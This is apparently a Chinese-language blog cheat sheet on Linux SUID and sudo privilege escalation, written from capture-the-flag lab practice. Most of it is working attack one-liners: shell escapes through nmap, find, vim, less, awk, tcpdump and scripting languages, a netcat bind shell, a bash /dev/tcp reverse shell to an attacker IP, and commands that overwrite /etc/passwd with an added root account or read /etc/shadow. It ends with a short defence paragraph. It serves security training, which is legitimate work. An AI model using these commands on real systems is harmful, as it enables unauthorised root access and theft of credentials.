Linux-SUID提權

前言

最近打靶場的時候最後都會涉及到提權,所以想着總結一下。

SUID提權原理

SUID(設置用戶ID)是賦予文件的一種權限,它會出現在文件擁有者權限的執行位上,具有這種權限的文件會在其執行時,使調用者暫時獲得該文件擁有者的權限。
那麼,為什麼要給Linux二進制文件設置這種權限呢?其實原因有很多,例如,程序ping需要root權限才能打開網絡套接字,但執行該程序的用戶通常都是由普通用戶,來驗證與其他主機的連通性。
但是,如果某些現有的二進制文件和實用程序具有SUID權限的話,就可以在執行時將權限提升為root。

比如password的權限:

image
用戶可以輸入自己的密碼或者不需要密碼在root權限下執行命令,這可在設置文件 /etc/sudoers 中配置

1.1 /etc/sudoers 語法

root ALL=(ALL) ALL

root 用戶可以從 ALL(任何)終端執行,充當ALL(任何)用戶,並運行ALL(任何)命令。第一部分指定用戶,第二部分指定可充當用戶,第三部分指定 sudo 可運行的命令。

touhid ALL= /sbin/poweroff

輸入 touchid 的密碼,可以 sudo 執行 poweroff 命令。

touhid ALL = (root) NOPASSWD: /usr/bin/find

不輸入密碼,可以 sudo 執行 find 命令

1.2 查找具有 SUID 權限位文件

以下命令可以找到正在系統上運行的所有SUID可執行文件。準確的說,這個命令將從/目錄中查找具有SUID權限位且屬主為root的文件並輸出它們,然後將所有錯誤重定向到/dev/null,從而僅列出該用戶具有訪問權限的那些二進制文件。

# suid權限值就是4000,下面兩個語句一個意思
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null

也可以使用 sudo -l 命令列出當前用戶可執行的命令:

image

常用的提權方式

2.1 nmap

nmap(2.02-5.21)存在交換模式,可利用提權

nmap --interactive

之後執行:

nmap> !sh
sh-3.2# whoami
root

msf中的模塊為:

exploit/unix/local/setuid_nmap

較新版可使用 –script 參數:

echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse

2.2 find

find比較常用,find用來在系統中查找文件。同時,它也有執行命令的能力。 因此,如果配置為使用SUID權限運行,則可以通過find執行的命令都將以root身份去運行。

touch test
find test -exec whoami \;
進入shell
find test -exec '/bin/sh' \;
sh-5.0# whoami
root

linux一般都安裝了nc 我們也可以利用nc 廣播或反彈shell

廣播shell:

find test -exec netcat -lvp 5555 -e /bin/sh \;

kali(攻擊機)上:

nc 靶機ip 4444

反彈shell:

find test -exec bash -c 'bash -i >& /dev/tcp/攻擊機IP/4444 0>&1' \;

kali(攻擊機)上:

nc -lvnp 4444

2.3 vi/vim

打開vim,按下ESC

:set shell=/bin/sh
:shell

或者

sudo vim -c '!sh'

2.4 bash

bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

2.5 less

注意事項:我記得less跟more提權的時候那個命令行要拉低一點,不能在一頁顯示完文件才行(要注意的是使用more和less一定讀取一個比較大的文件,如果文件太小無法進入翻頁功能也就無法使用!命令進入shell)

less /etc/passwd
!/bin/sh

2.6 more

more /home/pelle/myfile
!/bin/bash

2.7 cp

覆蓋 /etc/shadow/etc/passwd

[zabbix@localhost ~]$ cat /etc/passwd >passwd
2.[zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123
3.$1$hack$WTn0dk2QjNeKfl.DHOUue0
4.[zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd
5.[zabbix@localhost ~]$ cp passwd /etc/passwd
6.[zabbix@localhost ~]$ su - hack
7.Password:
8.[root@361way ~]# id
9.uid=0(hack) gid=0(root) groups=0(root)
10.[root@361way ~]# cat /etc/passwd|tail -1
11.hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash

2.8 mv

覆蓋 /etc/shadow/etc/passwd

2.9 nano

nano也算是比較上古的文本編輯器了

nano進入shell的方法為

nano #進入nano編輯器
Ctrl + R
Ctrl + X 
#即可輸入命令

2.10 awk

awk 'BEGIN {system("/bin/sh")}'

2.11 man

man passwd
!/bin/bash

2.12 wget

wget //192.168.56.1:8080/passwd -O /etc/passwd

2.13 apache

僅可查看文件,不能彈 shell:

apache2 -f /etc/shadow

2.14 tcpdump

echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

2.15 python/perl/ruby/lua/php/etc

python:

python -c "import os;os.system('/bin/bash')"

perl:

exec "/bin/bash";

其他的語言反彈shell參考以下鏈接:
//weibell.github.io/reverse-shell-generator/

參考鏈接:

防範

SUID提權由來已久,屬於一種古早的提權技術,但其生命力經久不衰。

這要求管理員要仔細研究具有SUID權限的文件,不要給易被利用的文件以SUID權限,防止SUID的濫用導致黑客在進入服務器時輕易獲取root權限。